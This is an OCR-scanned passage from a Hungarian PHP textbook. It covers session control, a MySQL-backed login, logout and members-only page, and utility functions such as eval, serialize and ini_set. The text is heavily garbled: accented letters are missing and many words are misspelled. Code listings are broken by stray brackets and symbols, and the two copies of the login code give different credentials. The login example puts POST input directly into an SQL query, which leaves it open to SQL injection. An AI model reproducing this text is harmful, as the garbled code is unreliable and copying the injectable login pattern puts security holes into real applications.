Az --enable-trans-sid direktva belltsa mindazonltal ltalban egyszerbb.

Munkamener-vezrls PHP-ben

351

Egyszer munkamenetek megvalstsa


A munkamenerek alkalmazsnak alaplpsei a kvetkezk:
L Munkamener indrsa 2. Munkamener-vlrozk regisztrlsa 3. Munkamenec-vlcozk hasznlara 4. Vltozk crlse s a munkamenet megszntetse

rdemes megemlteni, hogy ezek a lpsek nem feltrlenl ugyanabban a kdban trtnnek, s van kztk olyan, amely tbb kdban is elfordul. Vizsgljuk meg egyenknt a fenti lpseket!

Munkamenet indtsa
A munkamenechez ktd funkcik hasznlata eltt el kell indtani a munkamenetet. Krflekppen tehetjk meg ezt. Az els s legegyszerbb mdja, ha a kdot a session_start() fggvny meghvsval indtjuk:
session start();

A fggvny ellenrzi, van-e folyamatban munkamenet. Ha nincsen, a szupergloblis $_SESSION tmbhz hozzfrst engedve lnyegben ltrehoz egyet. Folyamatban lv munkamenet esern a session_start () fggvny beclti a regisztrlt munkamenet-vltozkat, hogy hasznlni tudjuk ket. Fontos, hogy a session _start () fggvnyt a munkamenetekkel dolgoz minden kd elejn meghvjuk. Ha ezt elmu lasztjuk, a munkamenetben trolt informcik nem lesznek kdunk szmra elrhetk. A munkamenet megkezdsnek msodik mdja, ha gy lltjuk be a PHP-t, hogy automatikusan munkameneret indtson minden alkalommal, amikor ltogat rkezik
a az

oldalunkra. A php.ini fjl session. a uto_start bellrsnak bekap

csalsval teherjk ezr meg; ezt a megkzeltst akkor fogjuk megvizsglni, amikor a konfigurlssal foglalkozunk majd. Ennek mdszernek van egy nagy htrnya: ha az auto_start be van kapcsolva, objektumokat nem hasznlhatunk munkame ner-vlcozknt. Ennek oka, hogy az objektum osztlydefinciit a munkamener elindtsa elre be kellene tlteni ahhoz, hogy
a munkamenetben ltrejhessenek az objektumok.

Munkamenetvltozk regisztrlsa
A kzelmltban megvltozott a munkamenet-vlcozk regisztrlsnak PHP-beli mdszere. A4.1-es verzi ra a munkamener vlrozkar a$_SESSION tmb trolja. Munkamenec-vlcoz ltrehozshoz egyszeren megadjuk e tmb egy elemr, pldul gy:
$_SESSION['sajat_valtozo'] = 5;

23

Az gy ltrehozott munkamener-vlcoz a munkamenet vgig vagy addig hasznlhat, amg manulisan nem trljk. A munkamenet a php. ini f:ijl session.gc_maxlifetime bellrsnak rtkrl fggerr magrl is vget rher. Ez
a

bellts hatrozza meg a munkamenet msodpercben kifejezett idtartamt; ha ez letelik, a szemcgyjt {garbage colleetor)

vget vec a munkamenecnek.

Munkamenetvltozk hasznlata
A munkamener-vltozk hatkrbe hozshoz munkamenetet kell nyitni a session_start () meghvsval. ( A harkrbe hozsra a munkamener -vltoz hasznlhatsga miatt van szksg.) Ezr kvererr a $_SESSION szupergloblis rmbn ke resztl rhetjk el a megfelel vltozr-pldul gy: $_ SESSION[ 'sajat_valtozo'] . Ha objektumot hasznltunk munkamener-vlrozknt, fontos, hogy a session_start ()
az

meghvsa eltt megtrtnjen

osztly definilsa. Ezzel bizrosrjuk, hogy a PHP tisztban legyen vele: hogyan kell ltrehoznia a munkamenec-objektumor. gyeljnk, amikor- pldul az isset() vagy empty () fggvnnyel-ellenrizzk, hogy a munkamener-vlrozkar

belltottlc-el Emlkezhetnk r, hogy a felhasznJk GET vagy POST mdszerrel llthatjlc be a vltozkat. A$_SESSION tmbbel dertherjk ki, hogy egy adott vltoz vajon regisztrlt munkamener-vlroz-e. Pldul a kvetkez mdon ellenrizhetjk ezt:
if (isset($_SESSION['sajat_valtozo'])) ...

Vltozk trlse s a munkamenet megszntetse


Ha tbb nincs szksgnk egy munkamener-vlrozra, megsznterhetjk. Megtehetjk ezt kzverlenl a$_SESSION tmb

megfelel elemnek trlsvel, pldul gy:


unset($ SESSION['sajat_valtozo']);

352

23. fejezet

rdemes megjegyezni, hogy a session_unregister()

s a session_unset ()

fggvny hasznlata immr sem nem

szksges, sem nem nlott. Ezeket a fggvnyeket a $_SESSION bevezetse eltt vehettk ignybe. Vletlenl se prbljuk meg a teljes$_SESSION tmbt trlni, mert ezzel lnyegben kikapcsolnnk a munkameneteket! Ha egyszerre kvnjuk trlni
$_SESSION = array{);
a:z

sszes munkamenet-vltozt, hasznljuk a

utastst! Ha befejeztk a munkt egy adott munkamenettel, elszr trljk a:z sszes vltozjt, majd a session_destroy() ; fggvnyt meghvva szabadtsuk fel a munkamenet azonostjt!

Egyszer plda munkamenetre


A fenti magyarzatok kicsit taln elvontnak tnhetnek, ezrt vizsgljunk meg most egy pldt! Ebben hrom, egymssal ssze fgg oldalt hozunk ltre. A:z els oldalon elindtjuk a munkamenetet, s ltrehozzuk a $_ SESSION ['munkamenet_valtozo' l hez szksges kdot a 23.1 pldakdban lthatjuk. 23.1 pldakd: oldal l. php- Munkamenet elindtsa s munkamenet-vltoz ltrehozsa
<?php session start(}; $_SESSION['munkamenet_valtozo' l = "Hell, vilg!"; tartalma:'

vltozt. A:z eh

echo 'A$ SESSION[\'munkamenet_valtozo\'1 ?>

.$ SESSION['munkamenet_valtozo'l .'<br />';

23

<a href="oldal2.php">Kvetkez6 oldal</a>

A fenti kd ltrehozza a vltozt, s belltja rtkr. Kimenete a 23.1 brn lthat.

23.1 bra: A munkamenet-vltoznak az oldal l. ph p fjl ltal megjelentett rtke. A vltoznak az ezen az oldalon felvett utols rtke lesz a kvetkez oldalakon elrhet. A kd vgn a munkamenet-vl tozt szerializltuk, vagyis rtke rgztve van mindaddg, amg a session_start (} kvetkez meghvsval jbl be nem tltjk a vltozt. A kvetkez kdot ezrt a session_start ( ) meghvsval kezdjk. Ezt a kdot a 23.2 pldakd tartalmazza. 23.2 pldakd: oldal2. ph p- Munkamenet-vltoz elrse s megszntetse
<?php session start(}; echo 'A$ SESSION[\'munkamenet_valtozo\'1 tartalma:'

.$ SESSION['munkamenet_valtozo'l.'<br />'; unset($ SESSION['munkamenet_valtozo'll; ?> <a href="oldal3.php">Kvetkez6 oldal</a>

Munkamenet-vezrls PHP-ben

353

A session_start(} meghvsa utn a$_SESSION

[ 'munkamenet_valto zo' l

vltozt a korbban eltrolt rck

vel rjk el, ahogy ezt a 23.2 brn is lthatjuk.

----..-.Il

23.2 bra: A munkamenet-vltoz rtke a munkamenet-azonostval lett az oldal 2.phpfjlnak tadva. Hasznlata utn trljk a vltozt. A munkamenet tovbbra is ltezik, a$_SESSION['munkamenet_valtozo' l
toz viszont nem.

vl

Vgl nzzk az oldal3.php fjlt, pldnk utols kdjt, amit a 23.3 pldakd tartalmaz! 23.3 pldak.d: oldal3.php -A munkamenet befejezse <?php
session start();

echo 'A $_SESSION[\'munkamenet_valtozo\'l

tartalma:

.$_SESSION['munkamenet_valtozo'l .'<br />';

session_destroy();

?>

Miknt a 23.3 brn lthatjuk, a$_SESSION [ 'munkamenet_ valtozo' l rgztett rckt immr nem tudjuk elrni.

23

AS_S&SS!ONf....__"_,_

23.3 bra: A munkamenet immr nem rhet el.


A PHP egyes, a 4.3-as eltti verzii esetn hibba futhatunk, amikor megprbljuk trlni a $HTTP _SESSION_VARS vagy
a

$_SESSION tmb elemeir. Ha gy ltjuk, hogy nem tudjuk trlni az elemeket (vagyis azok belltva maradnak), rdemes

lehet a session_ unregister(}


A kdot a session_destroy ( )

fggvnnyel megksrelni ezen vltozk trlst. meghvsval fejezzk be, hogy felszabadtsuk a munkamenet-azonostt.

Munkamenet vezrls konfigurlsa


Ap p. ini fjlunkban szmos belltsi lehetsget tallunk a munkamenetekhez. A hasznosabb belltsokat, illetve ler h

sukat a 23.1 tblzat tartalmazza. 23.1 tblzat: Munkamenet-konjigurcis lehetsgek


Bellts neve
session.auto start session.cache_expire

Alaprtelmezett rtke O (kikapcsolt) 180

Hatsa

Automatikusan elindtja a munkameneteket.


A gyorsttrazort munkamenetoldalak lettarcamt lltja be

(percben).

354

23. fejezet

Bellts neve
session.cookie domain session.cookie lifetime

Alaprtelmezett rtke
none

Hatsa
A munkamenetstiben bellrhat domaint hatrozza meg. Meghatrozza, hogy mennyi ideig l a felhasznl gpn a mun kamenet-azonostt tartalmaz sti. Az alaprtelmezerr O rtk esetn a sti a bngsz bezrsig fog lni.

session.cookie_path

l
PHPSESSID

A munkamenetstiben bellthat elrsi tvonalat hatrozza meg. A munkamenet nevt hatrozza meg. Ez lesz a sti neve a fel hasznl rendszern. A munkamenet adatainak trolsi helyt hatrozza meg. A bel ltst mdosthatjuk gy, hogy adatbzisra (database) mutasson, m ebben az esetben st fggvnyeket kell rnunk.

session.name

session.save handler

files

session.save_path

A munkamenetadatok trolsnak elrsi rvonalt hatrozza meg. ltalnosabban gy is fogalmazharunk, hogy a session.
save_handler

ltal kezelt s meghatrozort ments helyt ez

a paramter hatrozza meg.


session.use cookies

l (bekapcsolt) O (kikapcsolt) o (MD5)

Belltja, hogy a munkamenetek stiket hasznljanak a kliens oldalon. Belltja, hogy a stik kizrlag biztonsgos kapcsolaton keresz tl legyenek elkldve. A munkamenet-azonostk ellltsra szolgl hash algorit SHA-1 (160 bites) algoritmust jelenti. Ez a konfigurcis bell ts a PHP 5-s verzijban jelent meg. must hatrozza meg. A.O" az MD5 (128 bites), az "l " pedig az

session.cookie secure

session.hash function

23
Hitelests munkamenet,vezrlssel
A fejezet most kvetkez, utols rszben a munkamenet-vezrlsnek egy igen fontos alkalmazsi terlett lthatjuk. A munkamenet-vezrlst a leggyakrabban taln a valamilyen bejelentkezsi mechanizmussal hitelestett felhasznlk nyo mon kvetsre hasznljk. A most kvetkez pldnkban ennek Iehetsgc a MySQL adatbzis segtsgvel elvgzett hitele srst s a munkamenetek hasznlatt rvzve teremtjk meg. Ez kpezi majd a 27. fejezet projektjnek az alapjt, s ms pro jektben is felhasznljuk majd ezt a funkcit. A 17. fejezetben ltrehozott hitelestsi adatbzist fogjuk most jbl felhasznlni. Ennek az adatbzisnak a rszleteit a 17.3 pldakdbl idzhetjk fel. A plda hrom egyszer kdbl ll. Az els, a hitelesites.php bejelentkezsi felletet s hitelestse knl fel a weboldal regisztrlt tagjainak. A msodik, a cs ak_tagoknak.php kizrlag a sikeresen bejelentkezert felhasznlk szmra jelent meg informcit. A harmadik, a ki j elen tkezes.php kddal pedig Icijelentkezhetnek a felhasznlk. A plda mkdsnek megrtshez nzzk meg a 23.4 brt, amely a hi telesi tes.php ltal megjelentert kezdoldalt mutatja!

t---+- w
GM..-..,.1Gomb- o-v;.a:o-iGiii& J ac... __ i
---

23.4 bra: Mivel a felhasznl mg nincsen bejelentkezve, bejelentkezsi felletet kell szmra megjelenteni.
Az oldal bejelentkezsi felletet ad a felhasznlknak. Amennyiben bejelentkezs nlkl ksrlik meg megtekinteni a "Tagok

nak fenntartort tartalmak " -at, a 23.5 brn lthat zenetet kapjk.

Munkamenet-vezrls PHP-ben

355

Tagoknak fenntartott tartalmak ,., .... c.-- .. .,...

23.5 bra: A

be nem jelentkezett ltogatk nem ltha9k az oldal tarta/mt, helyette ez az zenet jelenik meg.

Ha azonban a felhasznl elszr bejelentkezik (a 17. fejezetben belltott teszt_felhasznalo felhasznli nv s jelsz prossal), majd megprblja elrni a"Tagoknak fenntartott tartalmak" cm rszt, akkor a 23.6 brn lthat kimenet jelenik meg bngszjben. Nzzk meg elszr az alkalmazs kdjt! A kd nagy rszt a 23.4 pldakdban lthat hitelesites.php fjl tartal mazza. A ksbbiekben majd lpsrl lpsre is vgigmegynk a kd mkdsn.
jelszo

_;_;,;n;---.... - ---oi:'t-
fN- ....... ---..-.M'

N)itoldal -- .......- ...... 'Tap* ._.. Wt**

23.6 bra:

Bejelentkezs utn mr hozzfrnek aJelhasznlk a csak a tagoknak fenntartott tartalmakhoz. hitelestsi vgrehajt alkalmazs f rsze

23.4 pldakd: hitelesites. php-A


<?php session start();

23
&&

if (isset($_POST['felhasznaloi_nev'])

isset($_POST['Jelszo']))

{ ll ha a felhasznl megprbl bejelentkezni


$felhasznaloi_nev = $_POST['felhasznaloi_nev']; $jelszo = $ POST['jelszo'];

$adatbazis_kapcsolat = new mysqli('localhost', 'hitelesites');

'webeshitelesites',

'webeshitelesites',

if (mysqli connect_errno()) echo 'Nem sikerlt csatlakozni az adatbzishoz:' .mysqli_connect_error(); exit();

$lekerdezes

'SELECT

FROM jogosult felhasznalak '

. "WHERE nev='$felhasznaloi_nev'" " AND jelszo=shal('$jelszo')";

$eredmeny = $adatbazis_kapcsolat->query($lekerdezes); if ($eredmeny->num_rows)

ll ha benne vannak az adatbzisban,

jegyezzk fel a felhasznli azonositjukat!

$ SESSION['ervenyes felhasznalo'] = $felhasznaloi_nev;

356

23.fgezet

$adatbazis kapcsolat->close(); ?> <html> <body> <hl>Nyitoldal</hl> <? if (isset($ SESSION['ervenyes felhasznalo']))

{
echo 'Bejelentkezve '.$_SESSION['ervenyes felhasznalo'] .' felhasznli nven<br />'; echo '<a href="kijelentkezes.php">Kijelentkezs</a><br />'; else

if (isset($felhasznaloi nev))

ll ha a felhasznl megprblt,

de nem tudott bejelentkezni

echo 'Sikertelen bejelentkezs.<br />'; else

ll a felhasznl nem prblt meg bejelentkezni vagy kijelentkezett


echo 'Nincs bejelentkezve.<br />';

ll bejelentkezsi fellet megjelenitse

23

echo '<form method="post" action="hitelesites.php">'; echo '<table>'; echo '<tr><td>Felhasznli nv:</td>'; echo '<td><input type="text" name="felhasznaloi nev"></td></tr>'; echo '<tr><td>Jelszo:</td>'; echo '<td><input type="password" name="jelszo"></td></tr>'; echo '<tr><td colspan="2" align="center">'; echo '<input type="submit" value="Bejelentkezs"></td></tr>'; ech o '</table></form>'; ?> <br /> <a href="csak_tagoknak.php">Tagoknak fenntartott tartalmak</a> </body> </html>

A fenti kd az eddig ltottaknl kiss sszetettebb logikval mkdik, mert egyrszt megjelenti a bejelentkezshez szks ges rlapot (felletet), msrszt ez a kd egyttal az rlap ltal meghvott mvelet, harmadrszt a sikeres s sikertelen bejelent kezsi ksrletre vlaszu! adott HMTL kdot is tartalmazza. A kd mkdse az ervenyes_felhasznala munkamenet-vltoz krl forog.Az alapgondolat az, hogy ha valaki sikeresen bejelentkezik, akkor ltrehozunk egy $_SES SI ON ['ervenyes_felhasznalo' J jt tartalmaz munkamenet-vltozt. Els lpsnk a kdban a session_start() fggvny meghvsa. Ez betlti az ervenyes felhasznala munkame
_

nev, az felhasznli azonost

net-vltozt, feltve, hogy az mr ltre lett hozva. Amikor elszr fut le a kd, az if feltteles utastsok egyike sem teljesl, gy a felhasznl a kd vgre jut, ahol kzljk vele, hogy mg nem jelentkezett be, s megjelentjk szmra az erre szolgl felletet:
echo '<form method="post" action="hitelesites.php">'; echo '<table>';

Munkamenet-vezrls PHP-ben

357

echo '<tr><td>Felhasznli nv:<ltd>'; echo '<td><input type="text" name="felhasznaloi nev"><ltd><ltr>';

echo '<tr><td>Jelszo:<ltd>'; echo '<td><input type="password" name="jelszo"><ltd><ltr>'; echo '<tr><td colspan="2" align="center">'; echo '<input type="submit" value="Bejelentkezs"><ltd><ltr>'; echo '<ltable><lform>';

Amikor a felhasznl a bejelentkezsi fellet .. Bejelentkezs" gombjra kattint, jbl meghvjuk a kdot, s annak ele jrl indul minden jra. Most azonban mr rendelkeznk a hitelestshez szksges felhasznli nvvel s jelszval, ami
a$_POST['felhasznaloi_nev' l

s a $_POST['jelszo'] vltozban van eltrolva. Ha ezek a vltozk lteznek, a hite


&&

lesr kdblokkba j urunk:


if (isset($_POST['felhasznaloi nev']) isset($ POST['jelszo']))

{
ll ha a felhasznl megprbl bejelentkezni $felhasznaloi_nev = S_POST['felhasznaloi_nev']; $jelszo = $ POST['jelszo'];

$adatbazis kapcsolat = new mysqli('localhost',

'webauth',

'webauth',

'auth');

if (mysqli_connect_errno()) echo 'Nem sikerlt csatlakozni az adatbzishoz: '.mysqli_connect error(); exit();

$lekerdezes

'SELECT

FROM jogosult felhasznalek '

."WHERE nev='$felhasznaloi_nev' " . " AND Seredmeny


=

j elszo=shal('Sjelszo')";

$adatbazis_kapcsolat->query($lekerdezes);

23

MySQL adarbzishoz kapcsoldunk, s ellenrizzk a felhasznli nevet s jelszc. Amennyiben tallunk megfelel nv jelsz prt, ltrehozzuk a $_SESSION['ervenyes_ felhasznalo'] vlcozt, amely az adott felhasznl felhasznli nevt tartalmazza. Ezzel a ksbbiekben kveeni tudjuk, hogy ki is az, aki be van jelentkezve:
if ($eredmeny->num_rows)

ll ha benne vannak az adatbzisban,

jegyezzk fel a felhasznli azonostjukat!

$_SESSION['ervenyes_felhasznalo'] = $felhasznaloi nev;

$adatbazis kapcsolat->close();

Mivel tudjuk, hogy ki a felhasznl, nem szksges neki jbl megjelenteni a bejelentkezsi felletet. Helyette kzljk vele, hogy tudjuk, ki , s felkinljuk a kijelentkezs lehetsgc:
if (isset($_SESSION['ervenyes_felhasznalo']))

echo 'Bejelentkezve '.$ SESSION['ervenyes_felhasznalo'] .' felhasznli nven<br l>'; echo '<a href="kijelentkezes.php">Kijelentkezs<la><br l>';

Ha a felhasznl megprblt bejelentkezni, de az valamilyen oknl fogva nem sikerlc, akkor bireokunkban lesz ugyan a fel hasznli neve, de a $_ SESSION [ 'ervenyes_felhasznalo'] vltoz nem, ezrt hibazenetet jelentnk meg neki:
if (isset($felhasznaloi_nev))

ll ha a felhasznl megprblt,

de nem tudott bejelentkezni

echo 'Sikertelen bejelentkezs.<br l>';

Ennyi a kd f rsze. Nzzk meg mosc a ragoknak fenntartott oldalakat! Ennek kdja a 23.5 pldakdban lthat.

358

23.fezet

23.5 pldakd: csak_tagoknak.php-A honlap tagoknak fenntartott rsznek kdja ellenrzi a Jelhasznlk jogosultsgt
<?php session start(); echo '<hl>Tagoknak fenntartott tartalmak</hl>';

ll munkamenet-vltoz ellenrzse
if (isset($ SESSION['ervenyes felhasznalo'])) echo 'Bejelentkezve '.$_SESSION['ervenyes felhasznalo'] .' felhasznli nven<br />'; echo '<p>Ide kerlnek a tagoknak fenntartott tartalmak</p>';

else echo '<p>Nincs bejelentkezve.</p>'; echo '<p>Csak bejelentkezett felhasznlk tekinthetik meg az oldalt.</p>';

echo '<a href="hitelesites.php">Vissza a nyitoldalra</a>'; ?>

A kd egyszeren elindt egy munkamenetet, majd azt ellenrizve, hogy a$_SESSION['ervenyes_felhasznalo'] vltoz rtke meg van-e adva, megllaptja, hogy az aktulis munkamenet tartalmaz-e regisztrlt felhasznlt. Amennyiben a felhasznl bejelentkezett, megjelentjk szmra a tagoknak fenntartott tartalmat, ellenkez esetben kzljk vele, hogy nincs jogosultsga annak megrekintsre.

23

Vgezetl a kijelentkezes.php kd kilpteti a felhasznlt a rendszerbl. A kdot a 23.6 pldakd tartalmazza. 23.6 pldakd: kijelentkezes.php -A kd trli a munkamenet-vltozt, s megsznteti a munkamenetet
<?php session start();

ll eltrolni azt megllaptand,

hogy be volt-e jelentkezve

$regi felhasznala = $_SESSION['ervenyes felhasznalo']; unset($_SESSION['ervenyes_felhasznalo']); session_destroy(); ?> <html> <body> <hl>Kijelentkezs</hl> <?php if (1empty($regi felhasznalo)) echo 'Sikeresen kijelentkezett.<br />';

else

ll ha bejelentkezs nlkl kerltek erre az oldalra


echo 'Nem volt bejelentkezve, gy nem tud kilpni sem.<br />';

?> <a href="hitelesites.php">Vissza a nyitoldalra</a> </body> </html>

Munkamener-vezrls PHP-ben

359

A kd egyszer, de itt is furnunk kell egy krt. Elindtjuk a munkamenerer, elrroljuk a felhasznl rgi felhasznlnevr, t

rljk az e r ve n yes_ fe l has z na l o vltozr, majd megsznretjk a munkamenerer. Ezr kveten zeneret jelentnk meg
a

felhasznlnak, amelynek rarralma arrl fgg, hogy sikeresen kijelenrkezerr, vagy be sem volt jelentkezve.
A mosr lrorr kdok egyszer sorozara alkotja majd az alapjr annak a sok munknak, amir a ksbbi fejezerekben elvgznk.

Tovbbi olvasnival
A srikrl bvebben a htrp://wp.nerscape.com/ newsreff std/cookie_spec.hrml oldalon olvashatunk.

Hogyan tovbb:
Ezzel egy fejezet hjn befejeztk a knyv ezen rszr. Mielrr tovbblpnnk a nagy projekrekre, rviden mg megismerke dnk a PHP ms fejezerekben nem trgyalt, mgis hasznos funkciival.

23

24
Tovbbi hasznos lehetsgek PHP ben
...

A PHP szmos olyan, hasznos fggvnnyel s funkcival is rendelkezik, amely nem volt beilleszthet az eddig trgyalt rmak rkbe. A fejezetben ezeket fogjuk bemutatni. Az albbi fbb tmakrkkel foglalkozunk: Karakterlncok kirtkelse az Vgrehajts lellrsa a
die eval ( )

fggvnnyel

s az exit urasrssal

Vltozk s objektumok szerializlsa Informcigyjts a PHP-krnyezetrl

A futtatsi krnyezet tmeneti megvltoztatsa Forrskd sznkiemelse PHP hasznlata parancssorban

Karakterlncok kirtkelse az eval () fggvnnyel


Az eval () fggvny PHP kdknt rtkeli a karakterlncokat. Az
eval ( "echo 'Hell, vilg';" );

urasrs pldul fogja a szering tartalmt s vgrehajtja. Ez a sor ugyanazt a kimenetet eredmnyezi, mint az
echo 'Hell, vilg';

Az eval

()

fggvny szmos esetben hasznunkra vlhat. Kpzeljk el pldul azt, hogy a kdblokkokat adatbzisban trol

juk, hogy a ksbbiekben valamikor vgrehajtsuk azokat! Az is elkpzelhet, hogy ciklusban lv kdot szeretnnk ellltani, majd az eval () segtsgvel egy ksbbi idpontban lefuttatjuk. Az eval () fggvnyt leggyakrabban azonban taln a sablonokkal vgzett munka sorn hasznljuk. Kpzeljk el, hogy adatbzisbl HTML, PHP s egyszer szveg tetszleges kombincijt tltjk be! Sablonrendszernkkel megfelel form zst alkalmazharunk a kdra, majd az eval ( ) fggvny meghvsval brmilyen PHP kdot lefuttatharunk. A fggvny kivlan alkalmas meglv kd frisstsre vagy kijavtsra is. Ha komolyabb mennyisg olyan kdunk len ne, amely elrelthatlag mdostsra fog szorulni, rhatnnk olyan programot, amely karakterlncba tlti be a rgi kdot, a regexp futtatsval vgrehajtja a vltoztatsokat, majd az eval () fggvnnyel futtatja a mdostott kdot. (Elvileg ugyan valban megrehetjk ezt, mgsem ez a leghatkonyabb megolds az ilyen esetekre.) Akr az is megoldhat a fggvnnyel, hogy nagyon megbzhat felhasznlknak lehetsget adjunk PHP kd tvoli, bng szn keresztli bevitelre s a kiszolgln val futtatsra.

Vgrehajts lelltsa: die () s ex i t ()


A knyv eddigi rszben az exit nyelvi elemet kd futtatsnak lelltsra hasznltuk. Emlkezhetnk r, hogy nmagban szerepel a kdban, egszen pontosan gy:
exit;

Nincsen visszatrsi rtke. Alkalmazhatjuk helyette aliasr, a die () fggvnyt is. Hasznosabb tehetjk a kd lelltst, ha paramtert adunk t az ex i t () fggvnynek. Ezzel a mdszerrel hibazenetet jelenthetnk meg. vagy akr fggvnyt futtatharunk a kd lelltsa eltt. Ez a megkzelts minden bizonnyal ismersnek hat a Perl-programozk szmra. Pldul:
exit('A kd most vget r');

362

24. fejezet

Ennl azonban gyakrabban elfordul, hogy az OR opertorral egytt hasznljuk ezeker az utastsokat. Ebben az esetben a kd lellrsra akkor kerl sor, ha az utasts, pldul f:ijl megnyitsa vagy adarbzishoz kapcsolds nem sikerl:
mysql_query($lekerdezes) or die('A lekrdezst nem sikerlt vgrehajtani');

Pusztn a hibazenet megjelentse helyett meghvharunk mg egy, a kd lelltsa eltti utols fggvnyt:
function err_msg()

return 'MySQL hiba: '.mysql-'-error();

mysql query($lekerdezes) or die(err_msg());

Ezzel a mdszerrel kzlhetjk a felhasznlval, hogy milyen hiba trtnt a kdban, lezrharunk HTML elemeket, vagy trlhetjk a flksz oldalakat a kimeneti pufferbL Lehetsgnk nylik akr arra is, hogy komolyabb hiba esetn e-mailben ttestsk sajt magunkat, hozza<ljuk a hibkat a naplfjlhoz, vagy kivtelt vltsunk ki.

Vltozk s objektumok szerializlsa


A szerializls {angolul serialization, magyarul sorosrsnak is nevezhetnnk) PHP vltozban vagy PHP objektumban trolt adat talaktsa adatbzisban trolhat vagy URL-en keresztl oldalrl oldalra tadhat bjtfolyamm {karakterlncc). E fo lyamat nlkl nehzkes lenne tmb vagy objektum teljes tartalmnak eltrolsa vagy tadsa. A munkamenet-vezrls {session control) megjelense ta a szerializls vesztett jelentsgbL Az adatszerializlst jellem zen olyan tpus dolgokra hasznltuk, amelyeket ma mr inkbb munkamenet-vezrlssel valsrunk meg. A munkamenet vezrl fggvnyek tulajdonkppen a munkamenet-vltozkat szerializljk annak rdekben, hogy HTTP krsek kztt eitraihassk azokat. Arra azonban tovbbra is szksg lehet, hogy PHP tmbt vagy objektumot fjlban vagy adatbzisban troljunk el. Ehhez kt fggvny, a serialize () s az unserialize () hasznlatr kell megismernnk. A serialize() fggvnyt a kvetkezkppen hvjuk meg:
$szerializlt_objektum = serialize($sajat objektum);

Ha nem egyrtelm szmunkra, hogy pontosan mir tesz a szerializls, nzzk meg a serialize () fggvny ltal vissza adott rtket! A fenti sor karakterlncc alaktja az objektum vagy tmb tartalmr. Nzzk meg a serialize( ) futtatsnak eredmnyt egy egyszer, a kvetkezkppen definilt objektumon, amelynek egy pldnyt is ltrehozza az albbi kd:
class alkalmazott

24

var $nev; var $alkalmazott id;

$this_emp = new alkalmazott; $this_emp->nev = 'Ferenc'; $th1s emp->alkalmazott_ld = 5324;

Ha szerializlruk az objektumot, s megjelentjk a bngszben, a kimenet a kvetkez lesz:


O:ll:"alkalmazott":2:{s:3:"nev";s:6:"Ferenc";s:14:"alkalmazott_id";i:5324;}

Knnyedn felfedezhetjk az eredeti objektum s a szerializlt adar kztti kapcsolatot. Mivel a szerializlt adar egyszer szveg. adatbzisba rhatjuk, vagy brmilyen neknk tetsz dolgot vgrehajtharunk vele. Szveges adat adatbzisba rsa eltt ne feledkezznk meg a mysql_real_escape_string () fggvny hasznlatrl, ami vel vdkarakterrel lrharjuk el a klnleges karaktereket! Az elbbi szerializlr karakterlncban lv idzjelek is jelzik ennek szksgessgt. Ha szerernnk visszakapni objektumunkat, az unserialize () fggvnyt kell meghvni:
$uj_objektum = unserialize($szerializlt_objektum);

Az osztlyok szerializlsval vagy munkamener-vlrozknt trtn hasznlarukkal kapcsolatban mg egy fontos dolgot meg kell emltennk: a PHP-nek az osztlypldny helyrelltsa eltt tisztban kell lennie az adott osztly szerkezetvel, ezrt a session_start() s az unserialize () fggvny meghvsa eltt be kell illesztennk a kdba az osztlydefincit tar talmaz llomnyt.

Tovbbi hasznos lehetsgek PHP-ben

363

Informcigyjts

PHP-krnyezetrl

Szmos fggvnnyel gyjthetnk informcit a PHP konfigurlsrL

Milyen bvtmnyek lettek betltvd


A get_loaded_extensions() s a get_extension_funcs() fggvny segtsgvel egyszeren kiderthetjk, hogy milyen fggvnykszletek, illetve azokon bell mely fggvnyek rhetk el. A get_loaded_extens ions() fggvny az adott pillanatban a PHP szmra elrhet fggvnykszletek tmbjt adja vissza. Ha a get_extension_funcs () fggvnynek egy adott fggvnykszlet vagy bvtmny nevt adjuk meg, az abban a kszletben lv fggvnyek tmbjt kapjuk vissza. A 24.1 pldakd ezt a kt fggvnyt hasznlva tudatja velnk, hogy PHP-teleptsnk milyen bvtmnyek melyik fggv nyeit teszi elrhetv szmunkra. 24.1 pldakd: fuggvenyek_ listaj a. php -A PHP
<?php echo
'A telepts
=

szmra elrhet bvtmnyek, illetve az azokban lvJggvnyek listzsa

ltal tmogatott fggvnykszletek:<br

/>';

$bovitmenyek

get_loaded_extensions();

foreach ($bovtmenyek as $egyes_bovitmenyek

echo echo

"$egyes_bovitmenyek <br />"; '<ul>' ; = get extension funcs($egyes bovitmenyek);

$bovitmenyek_fuggvenye1

foreach($bovitmenyek_fuggvenyei as $fuggveny)

{
echo "<li> $fuggveny </li>";

echo '</ul>';

?>

Lthatjuk, hogy a get_loaded_ extensions () fggvnynek nincsenek paramterei, a get_extension_funcs () pedig egyeden paramtert, a bvtmny nevt vrja. A kd kimenetben rallhat informcik birtokban meggyzdhetnk arrl. hogy sikeresen teleptettk-e valamely b vtmnye, illetve akkor is hasznos lehet, ha teleptskor rtelmes hibazeneteket elllt, opercis rendszerektl fggetlen, hordozhat kdot prblunk meg rni.

24

A kd tulajdonosnak azonostsa
Az ppen fut kd tulajdonost a get_current_user() fggvny meghvsval llapthatjuk meg:
echo get_current_user();

Az informci elssorban jogosultsgi problmk megoldsban lehet segtsgnkre.

A kd utols mdostsi idpontjnak megllaptsa


Gyakran lthatjuk
az

interneten, hogy az egyes oldalakon megjelentik a tartalom utols mdostsnak dtumt. A kd utols

mdostsnak idpontjt a getlastmod () fggvnnyel derthetjk ki. Figyeljk meg, hogy a fggvny nevben nincsen alul vons! A kvetkezkppen hasznljuk:
echo date('g:i a, j
M

Y',getlastmod());

A getlastmod() fggvny Unix idblyeggel tr vissza, amit a date () fggvnynek tadva kapunk az emberi szem sz mra olvashat dtumot.

364

24. fejezet

A futtatsi krnyezet tmeneti mdostsa


Lehetsgnk nylik a php.ini fjlban megadott belltsok megtekintsre, illetve az adott kd lettartama alatti mdos tsra. Klnsen hasznos lehet ez pldul a max_execution_time direktva esetben,ha rucljuk,hogy a kd futtatsa az ebben a belltsban meghatrozott rtknl tovbb fog tartani. A belltsokhoz az ini _get () s az ini_set () fggvnyprossal frnk hozz,illetve mdosthatjuk azokat. A 24.2 pldakd ezen fggvnyek hasznlatra mutat egyszer pldt.
24.2 pldakd: iniset.php-A php.inifjl
<?php $regi_max_execution_time = ini_set('max_execution time', echo "idtllps rgi hatra:

vltozinak tlltsa

120);
/>";

$regi_max_execution_time <br

$max_execution tme = ini get('max execution tme'l; echo "idtllps j hatra: $max_execution time <br

/>";

?>

